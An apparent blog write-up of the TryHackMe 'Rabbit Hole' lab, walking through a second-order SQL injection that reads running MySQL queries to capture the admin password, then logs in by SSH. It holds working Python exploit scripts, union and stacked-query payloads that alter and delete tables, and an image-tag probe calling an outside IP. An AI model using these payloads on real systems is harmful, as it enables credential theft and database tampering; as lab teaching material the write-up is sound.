THM-Rabbit Hole-Writeup

Mohamed Ali
9 min readNov 16, 2024

--

It’s easy to fall into rabbit holes.

Follow Me on Linkedin and My THM_Account

Find This Room: Rabbit Hole

Rabbit Hole was a room about exploiting a second-order SQL injection vulnerability to extract the currently running queries from the database. The goal was to discover a password embedded in a SQL query and use it with SSH to gain a shell and capture the flag.

Initial Enumeration

$ nmap -T4 -n -sC -sV -Pn -p- 10.10.107.245
Nmap scan report for 10.10.104.157
Host is up (0.081s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.59 ((Debian))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Your page title here :)
|_http-server-header: Apache/2.4.59 (Debian)

Found two ports open.

  • 22 (SSH)
  • 80 (HTTP)

Web 80

Looking at http://10.10.107.245/, we are greeted with a page containing links to register and login.

We can register an account at http://10.10.107.245/register.php

Given the note and the fact that login attempts always take more than 5 seconds, the application is likely using SLEEP(5) in the login query.

Discovering the SQL Injection

After logging in, we arrive at a page showing the last login times for users. Interestingly, the admin user logs into the application every minute.

In challenges, such automation often hints at a potential XSS vulnerability. Since the username is the only user-controlled input reflected on the page, we try registering and logging in with the following username:

<img src="http://10.11.72.22/test.jpg" />

Since there were no issues during registration or login, and the " character in our payload only caused problems on the last logins page, this suggests a second-order SQL injection vulnerability. It seems the application incorrectly handles the username when fetching the last login records.

Extracting Data

Basic Automation for SQL Injection

Since registering a user, logging in, and fetching the last logins page manually is time-consuming, we can write a simple python script to automate the process.

#!/usr/bin/env python3

import requests
import sys

url_base = sys.argv[1]
payload = sys.argv[2]

s = requests.session()
s.post(url_base + "register.php", data={"username": payload, "password": "mosec0", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "mosec0", "login": "Submit Query"})
r = s.get(url_base)
print(r.text)

Using the script to test for union-based SQL injection, we confirm that it works.

Enumerating the column count in the query, we discover that there are two columns, with the second column being reflected in the output.

Since we have a working payload, we can begin enumerating the database, starting with the database names.

Enumerating the Database

We can address this problem by modifying our script to send our payload in a loop, extracting 16 characters at a time using the SUBSTR function in MySQL. Additionally, we can use bs4 to parse the response and print only the part we are interested in.

#!/usr/bin/env python3

import requests
import sys
from bs4 import BeautifulSoup

url_base = sys.argv[1]
payload = sys.argv[2]
index = 1

while True:
sqli_payload = f'" UNION SELECT 1,SUBSTR(({payload}), {index}, 16);#'
s = requests.session()
s.post(url_base + "register.php", data={"username": sqli_payload, "password": "mosec0", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": sqli_payload, "password": "mosec0", "login": "Submit Query"})
r = s.get(url_base)
soup = BeautifulSoup(r.text, "html.parser")
tables = soup.find_all("table", class_="u-full-width")
output = tables[1].find("td").get_text()
print(output, flush=True, end="")
if len(output) < 16:
break
index += 16

print()

Running the script, we are able to discover the database names: information_schema and web.

Extracting the table names from the web database, we find two tables: users and logins.

Extracting the column names for the users table, we find four columns: id, username, password, and group.

Since every payload creates a user and we know that the first user we created had the id of 4, we are only extracting the first three users.

Additionally, we escape the group column name with ` because it is a reserved word in MySQL.

While we are able to crack the hashes for the foo and bar users, they are not helpful, and we cannot crack the hash for the admin user.

There is still the logins table that we have not checked. However, upon extracting the column names, we see there are only two: username and login_time; neither of these is useful.

Extracting the Current Queries

Union-Based SQL Injection

While there is nothing particularly useful in the web database, we still have access to the information_schema database. One table in the information_schema that can greatly assist us is PROCESSLIST.

Using the PROCESSLIST table, we can query the currently running queries in the database. Since the admin user logs into the site every minute and there is a call to the SLEEP function in the login query, we have a five-second window every minute to read the login query from the table. If the password hashing for the user is not done in the PHP code but is instead passed to MySQL using the MD5 function, we might be able to capture the password for the admin user.

However, there is one more hurdle to overcome. Currently, we are registering and logging in with a new account for each 16-character block, which takes as long as the admin user’s login query to run. With our current approach, we would only be able to extract the first 16 characters of the login query, if we’re lucky.

Fortunately, our payload to extract the data does not execute while we are registering or logging in; it runs when we visit the last logins page. To solve this problem, we can modify our script once more, this time registering and logging in to the accounts beforehand and continuously extracting data by making requests to the last logins page with the already logged-in accounts afterward.

#!/usr/bin/env python3

import requests
import sys
from bs4 import BeautifulSoup
import threading
import time

url_base = sys.argv[1]
payload = sys.argv[2]

sessions = {}
results = {}


def create_and_login(i, sqli_payload):
s = requests.session()
s.post(url_base + "register.php", data={"username": sqli_payload, "password": "mosec0", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": sqli_payload, "password": "mosec0", "login": "Submit Query"})
sessions[i] = s
return


def fetch_query_result(i):
r = sessions[i].get(url_base)
soup = BeautifulSoup(r.text, "html.parser")
tables = soup.find_all("table", class_="u-full-width")
output = tables[1].find("td").get_text()
results[i] = output
return


threads = []
for i in range(15):
sqli_payload = f'" UNION SELECT 1, SUBSTR(({payload}), {i * 16 + 1}, 16);#'
thread = threading.Thread(target=create_and_login, args=(i, sqli_payload))
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

while True:
threads = [threading.Thread(target=fetch_query_result, args=(i,)) for i in range(15)]
for thread in threads:
thread.start()
for thread in threads:
thread.join()

# check that we are not missing any part of the result
if all([len(results[i]) <= len(results[i - 1]) for i in range(1, 15)]):
result = "".join([results[i] for i in range(0, 15)])
if len(result) > 16:
print(result)
sys.exit(0)

time.sleep(1)

Running the script, we successfully discover the password for the admin user.

While the script works most of the time, it occasionally captures queries other than the login query. If you receive junk or different output, try running it again.

Stacked Queries

While the above method works well, there is another approach — albeit more intrusive — that we can use to extract current queries without the 16 character limit.

The username field is not only vulnerable to union-based attacks, but it also supports stacked queries, which we can confirm with a payload like this:

" UNION SELECT 1,2;DELETE FROM web.logins WHERE username="admin";#

As we can see, we are able to delete the last login times for the admin user each time we make a request to the last logins page.

Since both the id and username fields from the users table are reflected on the page, and we are using the username field for our payload, we can utilize the id field to extract data from the database.

This requires us to first modify the table and change the data type for id column from integer to string. After that, we can update the id field in the table with the currently running queries. For this, we can use the following script:

#!/usr/bin/env python3

import requests
import re
import time
import sys

url_base = sys.argv[1]

# modify the data type for the id column
s = requests.session()
payload = f'" UNION SELECT 1,2; ALTER TABLE web.users MODIFY id VARCHAR(255); ALTER TABLE web.users DROP PRIMARY KEY;#'
s.post(url_base + "register.php", data={"username": payload, "password": "mosec0", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "mosec0", "login": "Submit Query"})
s.get(url_base)

# create and log in with an account to update the id column with the current queries if it is not empty
s = requests.session()
payload = f'" UNION SELECT 1,2; UPDATE web.users SET id=(SELECT IFNULL(GROUP_CONCAT(INFO_BINARY),"1") FROM information_schema.PROCESSLIST WHERE INFO_BINARY NOT LIKE "%INFO_BINARY%") WHERE username="admin";#'
s.post(url_base + "register.php", data={"username": payload, "password": "mosec0", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "mosec0", "login": "Submit Query"})

# constantly update the id field by fetching the last logins page and if it is not set to 1, print it and exit
while True:
r = s.get(url_base)
if "User 1 - admin" not in r.text:
print(re.search(r"User (.*) - admin last logins", r.text).group(1))

# after successful extraction, clean up the database
payload = f'" UNION SELECT 1,2; DELETE FROM web.users WHERE username LIKE "%UNION SELECT 1,2%"; UPDATE web.users SET id="1" WHERE username="admin"; ALTER TABLE web.users MODIFY id INT PRIMARY KEY AUTO_INCREMENT;#'
s = requests.session()
s.post(url_base + "register.php", data={"username": payload, "password": "mosec0", "submit": "Submit Query"})
s.post(url_base + "login.php", data={"username": payload, "password": "mosec0", "login": "Submit Query"})
s.get(url_base)

break

time.sleep(1)

Running the script, we are able to extract the login query for the admin user and discover the password.

Shell as admin

Using the discovered password, we can SSH into the box as the admin user and read the flag at /home/admin/flag.txt.

BOOOM!

Have Been Pawned

Happy Hacking

--

--

Mohamed Ali
Mohamed Ali

No responses yet